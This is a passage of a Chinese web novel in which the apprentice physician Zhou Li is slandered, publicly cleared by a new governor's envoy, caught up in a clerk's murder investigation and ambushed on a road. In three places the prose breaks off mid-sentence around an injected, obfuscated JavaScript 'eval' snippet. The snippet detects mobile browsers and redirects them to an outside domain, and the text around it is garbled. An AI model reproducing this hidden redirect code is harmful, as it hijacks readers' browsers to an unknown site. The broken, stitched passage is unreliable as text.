周梨知道今晚不说清楚大概他们不会死心，看了他们一眼缓缓说道：“他是新任抚按大人，哪里是我能高攀的？” 张进和郑氏都大吃一惊，张进更是倒吸了一口气：“你一早就知道？这么年轻吗？” 郑氏连续说了几声“罢了罢了”，不再言语。 秀珍虽然惊讶，但却更奇怪郑氏态度转变得也太快了，就算是高门，娶个小家小户的妾室也多的是啊，但她明白她不好再多说，只接了周梨先前的话头：“阿梨，那你说你刚有个什么想法？” “我想赁个房子出去住，这些年我给舅妈一家添了很多麻烦，我不想你们一直被我牵累被人指指点点……” “你一个未出阁的女孩子，怎么能一个人住！”郑氏再一次打断了周梨的话。 “舅妈，没什么不能的，我已经受了你们太多的恩惠了。” “这话不要再说了，有我在一天就绝不可能让你如此！”话一出口，郑氏就开始咳嗽不止，秀珍忙站起来帮她顺背，边拍边对阿梨道：“阿梨，把这些话都忘了吧！你再说下去，娘这病又得犯了，也显得我这个嫂子容不下人。” 周梨连忙解释：“我没有这个意思，嫂子。” 郑氏好容易止住咳嗽，朝他们挥了挥手：“都回屋歇息吧，咱们走一步看一步，没有过不去的坎，就这样罢。”三人也不再说话，都默默回了房间。 掌灯不久，陈冕便敲开了巡抚衙门的侧门，平安早在门口等着，做了个请的手势，便一声不吭地走在前面引路。 陈冕有些奇怪，平安是打小就跟着顾临的，所以他很清楚这是个跳脱的小子，怎么才半日不见，变得如此深沉。 他不禁打趣道：“你家大人是要跟我谋什么天大的事，让你如此神色？” 平安回头张嘴想说什么，突然又抿嘴，指了指自己的嘴直摆手，陈冕不解，平安无奈又转回身继续引路，待到了门口又站定，做了个请的手势。 陈冕忍不住问门旁边的程顺：“怎么回事，半日不见，他被毒哑了吗？” 程顺偷笑，小声告诉陈冕：“是大人毒哑的，罚他三日不准说话！” 陈冕听完笑了起来，跨步走进了书房，留下平安一副苦瓜脸垂头丧气立在门口。 “子越，你来了。”顾临闻声停下笔，起身去拉陈冕一同坐了下来。 陈冕笑问：“平安是犯什么错了，难得看你罚他。” 顾临也笑着摇摇头：“没什么，平时太纵着他了。” 陈冕面对着顾临，不经意又看到他脖子上的伤痕，眼珠一转：“说正事前，你先告诉我这伤到底怎么回事，那个荒郊野地跟人搂在一起的是不是你？” “只是他们带的猎狗扑过来，我挡了下而已。” “还真是你啊！到底发生了什么，你跟那位姑娘怎么会在一起？”陈冕好奇心满足了一部分，继续追问。 顾临简单陈述道：“我在江上遇见她跳水求生，而后一起上了五总码头，却是我被追杀连累了她，逃亡途中遇见了卫所的兵。” “天哪！谁追杀你？那帮山匪吗？”陈冕十分震惊，“但他们怎么知道你的行踪？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047238|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾临不语，陈冕也沉默了下来，立刻明白了定是官府里有内奸，透露了消息，之前他还为顾临高升而欣喜，现在却很为他担忧，半晌才问道：“可有什么线索吗？” “我才来，还没有行动，那些人也都潜伏着没有动作。只是今天孟书吏被害，恐怕有蹊跷。” “怎么说？” “还不清楚，我已派了人去守着，再看看。” 陈冕打住了这个话题，转而问道：“你叫我来什么事？难不成我这满身铜臭的商贾还能帮你什么？” 顾临笑道：“确实有事需要你相助，你可有熟识的盐商愿意从永州贩广盐到湖西道三府？” “有这好事，肯定抢破头的，我敢说别说十抽一，就是五抽一，也有人愿意干的。但淮帮势力太大，江西食淮盐，又是国初就划定了的，广盐现在能入永安已经很不容易了，朝廷怎么可能放广盐入湖西道？” “永安匪患如今之势，招抚早已无用，唯战可解。我来上任是兵部尚书王宁力主，朝廷也是怕叛乱继续蔓延，剿匪势在必行,可户部是断然没钱给我。彻底改食广盐肯定是行不通，但淮盐运到湖西道成本高，百姓苦盐价高久矣，我是想先由盐商牵头，直陈湖西道三府食盐之苦，我再联络江西巡抚一同上书，争取剿匪期间权宜变通能让广盐流通至湖西道，以资军费。” 陈冕思索一番道：“这么说倒确实有把握能成，只是还有一点你可能不了解，正因为淮盐到湖西道三府价高，所以私盐也很是泛滥，其中所涉利益庞杂，不容小觑，上头也未必想管。就算淮帮能让步，私盐这块也是很大的阻碍，你刚来恐怕还不足以与他们抗衡。” “这我有所耳闻，永州如今势力最大的盐商可是叫陆志远？” 陈冕笑道：“你消息倒是灵通，他原先跟我差不多，做些布匹、香料和药材的生意，早几年各方打点贩起了盐，现在越发做大了。” “这倒不妨，肯定有办法让他让渡些利益。你先帮我物色几个可靠些的盐商，最好是湖西道三府的，这事必定要成的。” “好！敢想敢为，打小就你有主意。” 顾临笑着摇摇头：“哪里能收上来钱，当过几年官的都能想到。” “能想到可未必愿意做，你之前的几任都没有战的决心，不光是没钱啊，怕就怕在得罪人找来钱还是打不赢，那罪名肯定比不作为大得多。” 顾临笃定地道：“只要有钱，就可以招兵练兵，可以给立功的士兵丰厚的赏赐，有足够的军费，我定能平息匪乱。” “这才是我认识的承川！”陈冕见顾临胸有成竹，意气风发，不觉也大为畅快，感叹地拍了拍顾临的肩膀，却因为又看见了那道疤，忽而想起来道，“对了，说到陆志远，我上次跟他喝酒时，听他说要娶仁安堂那个女医师续弦的，现在因为跟你这一桩事情传得沸沸扬扬，陆志远肯定是要反悔了，怪可惜的。” 陈冕也是想到哪就说到哪，话一出口突然觉得自己话多了，这不是给人添堵吗？他抬眼看了看，顾临明显有些意外，怔愣了一会，半晌才说了句：“是怪可惜的。” 11. 澄清 周梨如平常一样从家走到药铺，一路上发现人们对她的指指点点更肆无忌惮了些，明明前几日还躲躲闪闪背着她小声议论，今日已经成群结队当着她的面大声交头接耳：“就是她！怎么还有脸出门？”诸如此类的话。 偶尔有几个不知情的露出疑问的目光，立马就能得到周围众人的热心讲解，大饱耳福，当场收获好几个不同版本的香艳故事。 周梨好似聋了一般穿过人群，走进仁安堂见师父已经端坐在医案后了，李掌柜也来了，只对她笑了笑，眼神却有些躲闪，周梨也只笑了笑，便来问陈锡山：“师父，孟书吏醒了吗？” 陈锡山摇了摇头，皱着眉头望着周梨，欲言又止。 周梨不解，刚想问他们怎么了，就有人进来找陈锡山把脉，周梨便止住了话头，在一旁坐了下来。 大概天气转凉，伤风咳嗽的多了起来，一会儿店里就站了好几个病人候着把脉拿药，以往这种时候周梨都会分担一部分，常来这的也放心她的医术，但今天一个也不愿意到她跟前来。 周梨倒有心理准备，前几日就陆续有人拒绝让她看病了，只不过今天多了起来。眼看排队的人都快到大门口了，又有一个老阿婆边咳嗽边由儿子扶着走了进来，看了眼前面的人叹道：“来这么早还这么多人呢！” 周梨伸头瞧着是常来的黄阿婆，她把过好几次脉的，但这情形她也不敢招呼，倒是黄阿婆看到了她好像空着，便朝她这走来：“周姑娘这空着呢！快给我瞧瞧，咳得我整宿地睡不着……”可话还没说完黄阿婆地儿子便拉住她：“娘，我们还是等着陈大夫吧！” “怎么？周姑娘看不是一样嘛！又不是没找她看过，在这里干等着做什么？”黄阿婆转头不解地看着儿子。 “哎呀，娘你不知道！反正就……就……就等等吧。”她儿子四十左右年纪，看着忠厚老实，觉得这事不好当着人面说，一时间竟不知道怎么跟他娘解释。 黄阿婆也是个犟脾气，见儿子说不出个所以然，硬就是要往周梨那去，她儿子偏扯住她不放，气得黄阿婆又止不住连声咳嗽起来，旁边排队的有几人见这情形觉得好笑。 前面一个好事的胖子阴阳怪气道：“李掌柜，你们仁安堂是不是打算做善堂啊？什么人都留着、白养着，要不我们的药钱都给免了吧？” “就是，弄个女人在这坐堂看病就够稀奇的了，名声还这样不堪，这样下去，正经人家哪里还敢来看病，你们东家真是心善，还不早点打发了！”后面有个一脸正气的老头附和道。 李掌柜没说什么，只站在柜台后不住陪笑，陈锡山却大声道：“仁安堂只看病，有其他事要办的，来错地方了，恕不远送！” 那正气老头闻言哼了一声，甩袖便出了门，嘴里一直叨叨：“世风日下，世风日下！”那胖子却没什么动作，只一脸坏笑地看着周梨。 陈锡山转头对着周梨小声道：“你先去后院看着点新到的药材。” 周梨点头退了下去，饶是再怎么告诉自己不用理会，心绪还是不免低落下去，走到后院不由叹了口气，抬头看了看四方天空，突然觉得自己还是被关在了牢笼里。 不过她没让自己再继续伤感下去，看了眼在孟书吏门口懒散着窃窃私语的两名衙役，便钻进了药材房帮忙，可里面几人见她进来也都不吱声，跟她保持了点距离，她也没管只自顾自找活干了起来。 可她还没辗多少白蔻，就听李掌柜在门外唤她，她疑惑地走过去，李掌柜指了指旁边的房间道：“吴娘子要见你。” “说了什么事吗？”周梨有些惊讶，吴娘子从前从未来过药铺。 李掌柜摇了摇头便将周梨往那边引，周梨只得跟上去。李掌柜走到门口，跟吴娘子招呼了声，便又往前厅去了。 周梨在门外还未看清里面情形，那吴娘子已经笑迎了出来，拉了周梨的手道：“周姑娘你认识我吧，我们打过照面的。” 一面说一面拉着周梨到桌边坐下，周梨也没推辞，直接道：“自然认识，不知吴娘子找我有什么事？” 吴娘子笑道：“周姑娘在我们药铺做事有五六年了吧，陈大夫、李掌柜都夸你聪明能干，我虽然管着家里这些铺子，却如今才有机会与你相识。” “吴娘子谬赞了。”周梨礼貌地笑了笑，心想快点拐弯吧。 吴娘子又说了几句客套话，果然情绪开始转变，语重心长道：“可不曾想你这样的人儿，竟这样时运不济，糟了这等飞来横祸。我们老太太心善，听说了你的事情，不忍你再抛头露面，听那外面的闲言碎语，特地吩咐支三十两银钱与你，让你好生在家休息段时日，等风头过了再回来。” 说着回头对身后的丫头做了个手势，那丫头走上前将一个沉甸甸的小包裹放在了周梨面前，吴娘子继续道：“我自己也添了二十两体己在这里，微薄钱财，了表心意，还望周姑娘不要嫌弃。” 周梨开始还有些意外，可听着又是情理之中，到最后倒觉得那个老头说的真对，仁安堂可真是个善堂呢，五十两银子呀，她好几年的工钱，竟然就白给她！ 她明白这钱她不该拿，也清楚她确实不该继续赖在这儿了，转念有些难过，这样以后她大概再也找不到活做了，要怎么谋生？可这不是她当下要想的事，她将包裹推远了些道：“我也没想到会给药铺带来这么大麻烦，多谢老夫人和吴娘子体恤，这钱我受之有愧，您还是拿回去吧，我收拾收拾，明天便不会再来了。” 说完起身要走，突然听有争执声传来，跨出门外一看，却是李掌柜扯着陈锡山的袖子：“陈大夫，你冷静些，外面还有好多病人等着呢！”转头又冲旁边几个打杂的喊道：“快拦着点。” “冷静什么，我已经跟你说过了，阿梨不走就在后院帮忙，总没人指指点点了吧，你们倒好，这样逼迫人，可真会火上浇油，雪上添霜啊！我倒是要去找吴娘子理论理论。” “只是暂时的，让周姑娘暂避避风头。” 陈锡山一把拽过袖子，大步向前跨：“当我什么都不晓得呢！我知道她存的什么心思。” 前边一个杂役又拦住了他：“陈大夫，掌柜的他们这样做没错啊，您何必呢！不管周姑娘有没有做那些事，外头都在传，我们在这做工也觉得抬不起头。” 陈锡山气得猛推了那杂役一把，周梨忙跑上前去：“师父，你别这样，不要紧的，我现在就走了。” “你这样走到哪去？你前脚走，后脚又得说你是因为做了见不得人的事，被东家赶走的，你走到哪里能有你的容身之处？”陈锡山大声冲周梨喊完，又朝着走出门外的吴娘子道，“东家都不在，这是娘子的主意吧！” 吴娘子喊着笑道：“陈大夫，您真误会了，是老夫人好意，让我拿些银子给周姑娘，让她歇上一段时间。” 陈锡山冷哼一声，刚要开口，又听外间一阵吵嚷，接着又是桌椅倒地声中伴随着瓶瓶罐罐破碎的声音，一个杂役跑来喊：“掌柜的，陈大夫，赶快去看看吧，外头闹起来了！” “怎么回事？”李掌柜问道。 “就是那个胖子叫严超的，本就是个不好相与的，等了半天，陈大夫突然走了，他等不急了就要跟进来找陈大夫，王九拦着不让，他嘴里便不干不净，王九气不过，二人就推搡打闹起来了。”杂役话还没说完，李掌柜已匆匆往前厅赶去，陈大夫等人听外面动静愈发大了，相互看了一眼，都没再继续刚刚的话题，不约而同都往前厅去了。 他们踏入前厅，就见一块飞砚砸在了先他们一步的李掌柜的头上，李掌柜原本还大喊着“住手”，突而“哎呦”大叫一声，伴着砚台落地的声音响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047239|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他才弯腰捂住了脑袋，血水混杂着墨汁，从他指缝里涌出。 旁边严超和王九还在缠斗，药铺内外都站满了人伸头看着，可却没人敢上前阻止他们，陈大夫赶紧扶起李掌柜让到一旁，处理他的伤口。 吴娘子见状对左右喝道：“快去报官！” 一个小杂役听了准备往外去县衙，不想旁边一人拉住他道：“去哪？后面不有现成的嘛！”小杂役突然想起来，拍了拍不甚灵光的脑袋，跑到后院去请守门的两个衙差来镇场子。 那严超本来还不可一世，可一见着带着铁尺的衙差前来喝止，立马泄气停了手，陪笑解释说是王九先骂他，他气不过才动了手，正说着时，外面一片声的锣鼓声响，站在门外的人们不免都回头望去，只见又几个衙差皂隶朝这边来，当先两人一锣一鼓，敲打不停，还喊着什么倒听不太清，后面簇拥着一群看热闹的人，这阵仗大概走街串巷了半天，显然是朝着仁安堂来的。 厅内众人还不知怎么回事，严超紧张地朝头破血流地李掌柜望了一眼，以为是冲他来的，周梨却见平安跟着这一行皂隶走了进来，抢先一步走到周梨面前拱手笑道：“周姑娘，原来您在这，叫我们好找。” 周梨不解，不过昨日才在这里见的吧，有什么不好找，可还未答话，平安已转头向后面示意，鼓声稍歇，那个拿锣的皂隶，哐的一声猛敲了一下锣高声道：“我等奉抚台大人之命，来拜谢周姑娘救命之恩！” 话音刚落，几人连同平安整齐划一地向周梨行了个大礼。 周梨见这张扬的架势，立马明白了他们的用意，随即还了个礼。 围观众人却十分疑惑，纷纷议论了起来。那皂隶又敲了声锣，周围的嘈杂声很快随着锣声一块止住了。 平安接着道：“我家大人来上任途中遭遇匪徒追杀，幸得周姑娘相救在先，奔逃途中又遇秦指挥及手下兵士搭救，方才化险为夷。大人今日视察卫所，已当面谢过秦指挥等人，才打听得姑娘住所，我们刚刚已将谢礼抬至白衣巷您家中，方知姑娘在这里上工，这才急急赶来当面谢过周姑娘。” 好不容易争取到这个将功补过的机会，他一口气说上许多，只觉得畅快不已，说完又是一礼，周梨笑想，这人还怪能演，明知道这个点她肯定在仁安堂，还故意先去了趟白衣巷昭告天下。 众人听完这话也都明白过来，有人小声嘀咕道：“原来那个男子竟是新任抚台嘛！”“这女子不是与人私奔吗？怎么又救人了？”“我就说吧，明明是被掳走的，叫你们传得不成样子……”“到底怎么回事？”…… 平安听得分明，继续扯开嗓子道：“周姑娘无辜被掳，但能勇斗山匪，跳江自救，又慧眼识奸，救大人于千钧一发之际，实在是巾帼不让须眉……” 周梨听了这夸大其词不禁皱了皱眉，好在陈锡山及时打断了他：“听见了吧！听见了吧！”他冲着吴娘子喊了两声，又转身对着众看客道：“真真谣言猛于虎啊！我这徒弟明明被这些山匪所害，虎口里脱了险，却让你们以讹传讹，差点用唾沫星把她淹死！” 众人又是一片哗然。 吴娘子没想到突然来了这么一出，忙陪笑道：“周姑娘如此英勇，也是我仁安堂的荣耀，李掌柜快拿些喜钱请官差大哥们喝茶,我们这里今日很是杂乱，招待不周，还请见谅。” 平安忙阻止道：“不必了！既然已找到周姑娘，我们也算办完差事了，就不在此叨扰了，周姑娘告辞！” 说完似不经意间看了两个守门的衙差一眼，周梨对他点头，小声说了句：“多谢大人了。”平安也点了点头，便带着一行人走了出去，继续敲敲打打。 围观的众人也大部分跟着走了，急于去散布他们新得的谈资，严超趁乱混入其中没了踪影，两个守门的衙差见无事也都退了回去。 12. 破绽 一刻钟前，仁安堂还里三层外三层挤满了人，这一会连看病的人也都拿了药散了，偌大的药铺突然显得有些空荡寂寥。 周梨虽不知道这招“大张旗鼓”到底能不能凑效，心里已满是感激，这位大人刚上任，要处理的事大概还一团乱麻，本该把自己从这件无中生有的流言中摘干净才是，却能为她的处境考虑，大费周章。 她正想着，却又听师父对着吴娘子道：“怎么样？如今不用让阿梨离开了吧？” 吴娘子笑道；“陈大夫，您太多心了，我本就是想让周姑娘歇息几天的。” 陈锡山却冷哼了一声，李掌柜摸着才包扎好的脑袋，笑着解围：“都是误会，都是误会！周姑娘也是沉得住气，早说了事情来龙去脉，哪要受这些罪？” “你这话说得倒好，你让阿梨去挨家挨户解释吗？”陈锡山回道。 李掌柜又笑了笑：“我就这么一说，就这么一说。” 周梨倒是走近他两步，转了话题：“李掌柜，你这伤得不轻啊，不能就这么放过那人吧，咱们还是报官吧？” 李掌柜忙摆手：“也没伤怎么样，多一事不如少一事，咱们店里开门做生意，哪能动不动就告主顾啊，何况确实我们做得不好在先，就这样罢。” 吴娘子投去赞赏的目光：“李掌柜当真是处处为仁安堂着想，你既伤着就赶紧回家休息几日，养好了再来，药铺里的事也就别操心了。” 李掌柜拱手称是，吴娘子又与周梨说了几句客套话便离开了。 李掌柜把王九训了一顿，又前前后后交代了一圈，要回家休养。 可这时两名衙差又走到了厅上，后面还跟着两名衙差绑着一人走出来，众人都十分震惊，周梨朝后面两个衙差望去，竟不曾见过，但那被绑着的人，分明是刚刚在药材房干活的来升，脸色惨白却一言不发。 李掌柜忙上前拱手问道：“官差大哥，这是怎么了？” 那几人却并未理他，其中一个对后面两个道：“你们先把他押回去，再叫几个兄弟来抬尸首。”那俩人点头，押着人就走了出去，周围的人瞧着这情形，不免又要围上来，屋里众人还在震惊中，都不自觉问道：“什么尸首？”，屋内两个衙差仍未答话，往门口一堵，大声喝道：“衙门办案，闲杂人等都离远些！” 那些人果然不敢上前了，但还是远远站着观望，不舍离去。 周梨看师父皱眉不语，好像知道什么，便凑近问道：“师父，是孟书吏死了吗？” 陈锡山点头，周梨突然觉得后背发冷，那寒气迅速蔓延到四肢百骸，她深吸了一口气，可心依旧跳得砰砰响。 师父自她来后都未去看过孟书吏，却知道他已经死了，那必是她来之前，师父就已经知道，为何隐瞒不说？而且师父知道，其他人可能不知道，看守的衙差却一定会知道，却为何也没事人一样还守在门外？那两个衙差又从哪里冒出来的，为何要绑来升？ 她正满腹疑云，李掌柜也艰难问道：“他是早死了吗？” 陈锡山也只点了点头，表情十分凝重。原来昨日晚间，衙门里怕孟书吏情况不妙，留了陈锡山在仁安堂宿夜，以便能及时医治，不料昨日半夜人就挺不住一命呜呼了，但衙差却勒令他不许告诉别人。 今天所有知情人都佯装无事发生，现在莫名绑了个人，就要抬尸首了，陈锡山知道仁安堂要出大事了。 果不其然，不一会儿仁安堂就来了许多衙差，也分不清县衙、府衙还是哪个衙门的，不仅把尸首抬走，仁安堂的一干人等也都带走问话了，早上还热闹非凡的药铺，一下子空空荡荡关上了门。 但似乎事情也没陈锡山想得那么严重，案子虽然直接跨过县衙交到了府衙，他们这些仁安堂的人，问完话也就给放了出来，只被告诫最近不许出城，随传随到。 周梨走出府衙大门时，陈锡山还在里面回话，她看时辰尚早，便想等着师父一起，好仔细问问到底怎么回事。 她在门口以东边石狮子为中心踱来踱去，大概走了百十遍，师父还没等来，却见街西边浩浩荡荡又有好些官府的人，簇拥着辆马车过来。府衙里这时也有一名中年官员带人迎了出来，周梨忙退到了石狮子侧后方。 虽然张进是衙门中人，她却鲜少跟衙门的人打交道，并不认得那人，但看他穿着青色官袍，补子上绣着鹭鸶，看品级大概是南州府通判。 马车在府衙门口停了下来，那通判恭敬地迎上去行礼，只见又是那位年轻的大人掀开车帘下了马车，一身绯色官袍衬得他更加面如冠玉，却凛然有度，丝毫不似往日温润。 周梨心头一悸，就如昨日突然看到他一般，可又不同，昨日那悸动里满是没来由的欣喜，现在看着他大步走过的绯色身影，却觉得十分落寞，她不由转过头轻轻叹了口气。 不过她失落的心绪没持续多久，便听见有人喊她，周梨回头看师父和李掌柜都走出了衙门，她忙凑上前去问：“师父，怎么问了你们这么久？来升到底干什么了？” 陈锡山还未回答，李掌柜先问道：“都问你们什么了？” “也没什么，就问这两日药铺里的情况，来升有什么异常之类的。” 陈锡山边往前走边道：“他趁两个看门的衙差到前厅的时候，潜进去要捂死孟书吏。” 周梨问道：“那里面还有两个衙差，是专门等着他的？” 陈锡山抹了抹胡子答道：“可不是，人昨天半夜就没了，他们好似料到了似的，特地安排了两个人藏在暗处，就看有没有人要来灭口。我当时还反驳他们想得太多，没想到啊，这个来升会做出这种事情。” 李掌柜也叹道：“是真没想到啊，仁安堂也不知道要关门几天了。”说罢便捂着头，告辞先走一步了。 周梨本也与陈锡山同路，走了一段又问道：“所以来升和昨天杀孟书吏的事有关吗？可是昨天那个时辰他一直在后院呢。” “官府应该是这样怀疑的，昨晚就是你认识的那位公子，啊不，抚按大人身边那个随从来安排布置的，嘱咐我一定不能先透露风声。” 周梨听完点了点头，心想难怪师父今日看到平安，并不怎么惊讶。两人又有一搭没一搭的说了几句，也没有什么头绪，没多久便到了岔路口也就分开了。 接下来几日，因为仁安堂被关，周梨只在家多抄了几本书，从张进那里听到些这件案子不太确切的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047240|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息，只知道来升先什么都不肯说，后来却一口咬定自己与孟书吏有私怨，那日瞅着机会便打算去出出气，没想真要捂死他。 周梨以为这件案子大概就这样结了，没想到又听说来升死在了牢里，没法查下去才搁下了。这些日子发生在周梨身边的离奇事，似乎就这样都慢慢平息了下来，日子又恢复了往常的平静。 仁安堂要去去晦气，请了和尚道士做了几日法事，还没有重新开张。楚云趁着周梨没法去上工，天刚亮就拉着她去城外的静安寺烧香祈福。 这日刚好初一，来静安寺烧香的人尤其多，周梨跟着楚云拜了一圈，瞅着楚云在送子观音像前最是虔诚，不禁意味深长地笑看她，楚云还了她一记白眼，便拉着她去求签。周梨笑道：“不信则不灵，你自己抽吧。”楚云也就没管她，自顾自抽出来个上上签，高高兴兴挽着周梨来侧厅找大师父解签。 不曾想今日香客太多，等着解签的已经排到门外好远，这要放在别的事情上，楚云定是不耐烦自己排队的，今日因着这上上签，排队也排得喜笑颜开，还直吩咐杏儿去各个殿多添点香火钱。 大概大师父的签文解得十分详细，他们等了老半天，也还没到他们，周梨有些百无聊赖，不禁回头望望，瞅瞅杏儿怎么还没回来。 可望了半天熙熙攘攘的男女老少，没看到杏儿，却看到王保君同他娘子牵着阿瑞从对面殿里走出来。阿瑞在这热闹的寺庙里显得格外高兴，东张西望，对什么都很好奇似的。 周梨跟楚云打了声招呼，边喊着“阿瑞”边摆手向他们走过去。王保君这时也看见了周梨，拍了拍妻儿指道：“是周姑娘！”她娘子看过去也道：“是呢是呢！阿瑞，快看！” 可阿瑞似乎没听到，眼睛还直直地望着另一个方向，王保君又喊了一声他才反应过来，转头就看到了周梨已站在了他面前，笑喊了声：“周大夫好！” 周梨还没回话，就听后面有叫骂声传来：“哎吆，他娘的没长眼睛吗？怎么走路的！”周梨回头望过去，只见有两人撞倒在地，一人倒地捂着屁股在骂，另一人一声不吭爬起来就跑，倒地上的人在旁边好心人的搀扶下站起来，依旧骂个不停。 周梨疑惑地看着跑走的那人，虽然没背背篓，她也认出来他就是常去仁安堂卖药的背篓客。 这时候阿瑞又说：“那个人好奇怪，我好像见过，他看见我盯着看他就跑了。” 阿瑞他娘笑道：“小孩家家尽瞎说，还有人怕你不成。” 周梨按下疑惑问道：“阿瑞最近都好吗？” 王保军道：“托周姑娘的福，这些时日都好得很，我今天特地带了他们娘俩一起来还愿。周姑娘都好吗？仁安堂没事了吧？” “嗯，过两天就重新开张了，不过希望你们能少来光顾。”周梨笑回道，“阿瑞要听爹娘的话，别乱吃东西了哦。” 阿瑞她娘接道：“自从上次吃了大亏，现在乖多了，不那么馋嘴了，来的时候在外面看见有卖糖葫芦的，也不吵着要吃了。” 周梨听了拍了拍阿瑞的头，阿瑞原本还笑着，突然也拍了下脑袋：“对，糖葫芦，刚刚那个人就是很像那天给我糖葫芦的，就是少了胡子。” 13. 福星 周梨听到这句话，只觉脑袋里突然有一处炸开了锅，嗡嗡作响。她赶紧转身朝背篓客跑走的方向看过去，哪里还有踪影。 她匆匆和王保君一家道了别，也朝那边跑去，但穿过熙攘的人群，尽头只见高高的围墙。周梨四周寻了一圈，再找不见那人，只得捂着砰砰跳的胸口，往楚云那里去。 采药为生的背篓客，竟然还卖糖葫芦？周梨虽然断定上次被劫绝对不是意外，可苦于没有任何证据，这下她似乎找到了线头，仿佛只要抓住这根线头，她便能抽丝剥茧，解开疑团。可他突然出现在静安寺，是巧合吗？ 周梨心里有些不安，忙跑回楚云身边，杏儿也已经回来，楚云刚解完签，正喜笑颜开，周梨道了声恭喜，便拉着她要回城。 静安寺在城郊，虽不是很远，步行也得半天功夫，但跟楚云出门自然是有马车的，陈冕对她宠爱有加，给她置的小院里管衣食住行的奴仆，都安排得妥妥当当。 三人出了寺门，找见了马车却不见车夫，等了一会才见车夫急急跑来，道是去方便了，楚云心情好极，自然也没跟他计较。 然而马车并没有行多久，车夫又连声告罪要去方便，还没等楚云发话就下车跑了。楚云纵是再好心情，也不免拉下脸对杏儿道：“真没规矩，回去叫管事好好训训他！” 杏儿小声道：“大概是吃坏肚子了吧。” 周梨听了这话，更警觉起来，掀开车窗帘往外望去，发现他们并不是在回城的主路上，大概是车夫怕大道人来人往不好方便，在岔路口驾车进了这两边都是竹林的小路，离主路已经有很长距离。 她又经了刚刚的事，见这小路寂静得很，不免戒备心起，干脆走下马车，往前看去，只见小路蜿蜒曲折，似乎是通往山里的，路边野草横生，大约平常很少有行人。 楚云拨开车门帘问道：“阿梨，你做什么呢？” 周梨嘴里边答着“没什么”，边又转身朝来的方向看去，只见也有三个人走在这条路，看样子都是普通老百姓，并肩不知说着什么，走得不急不缓。 周梨虽看不出异常，但想以防万一，自己先跳上马车，驾起马来对楚云道：“我调个头，咱们先回大路上等着。” 可周梨才调转过马车，只见那三人已飞快向这边跑来，周梨忙拿起马鞭猛抽了几下，那马吃疼不过，边嘶叫着边疾速奔跑起来。 那三人本来看周梨掉转马头，再沉不住气，打算冲上去拦下马车，现在见这马势头太快，不得已避到两边，准备从侧边下手，右边有两人，周梨经过时朝他们伸出的手挥了两鞭，再转到左边来挥，不想左边这人已然攀着车厢爬了上来，车厢里楚云和杏儿不由大叫起来。 那壮汉五大三粗，上来便抢周梨手上的缰绳，好让马车停下来，周梨敌他不过，趁他扯住缰绳的空当，飞快拔出银簪戳那人的胳膊，壮汉吃痛不已，反手扇了周梨一耳光，周梨拿着簪子整个人向侧后方倒去，脸上火辣辣的疼，嘴角也渗出血渍。 楚云见状也拔下头上金簪，大叫着向壮汉的后脖颈扎去，壮汉不免又惨叫一声，气得彻底甩开缰绳大骂道：“臭婊子，找死！”边说着便转身掐住了楚云的脖子，楚云陡然无法呼吸，惊恐中将手中金簪丢了，拼命去掰那只大手。 周梨赶忙爬起来又去扎壮汉，可这回却被他另一只手逮住了手腕，用力一扭，周梨疼得不自觉松开了手，簪子掉下了马车，这时楚云面上已然胀红，额上青筋暴露，杏儿也在旁边拼命哭着拍打那手，周梨回头看另两个人也快追上，连忙捡起楚云的金簪，壮汉以为周梨又要来扎他，伸手准备阻挡，却不想周梨俯身向马屁股扎去，马惊得又一声嘶鸣后加速狂奔起来。 一瞬间几人都向车厢后方倾倒，周梨趁壮汉不稳，猛地扑过去用胳膊勒住他脖子往后压，那人顿时同楚云一般处境，只得无奈松手，准备先收拾了周梨再说，可没想到，手一松开就被周梨大力往外一推，顿时往下栽去，可他到底反应快，伸手扯住周梨一同摔下车去。 周梨本能地护住头，落地滚了几圈停下来后，忙抬头看马车已经跑远，很快就能到大路上了，楚云他们应该不会有事了，她不由松了口气，忍着疼痛撑起身子准备继续跑，后面追着的两人已经围上来，一个高个抓住了她，一个矮个走到壮汉旁边，壮汉吃力地爬起来，摸了摸后脑勺，一看手上满是血迹，原来刚刚不巧脑袋着地磕着了石块。 矮个问道:“怎么样？咱还继续追那马车吗？” 壮汉踉跄着站起来：“还追什么，老大要抓的就是她。” 周梨问道：“你们为什么要抓我？” 高个道：“老大让我们抓我们就抓啦！” “你们老大是谁？我怎么得罪他了？” “别废话，快走！”壮汉捂着脑袋催促道，大步往前趔趔趄趄走了几步，竟站不太稳，矮个快步上前扶住，才没摔倒在地。 矮个道：“这怎么办？马车又跑了，你这样我们怎么去会合。” 周梨看壮汉头上血流得止不住，忍不住道：“伤口再不处理，会没命的，就用布条紧裹两圈也好。” 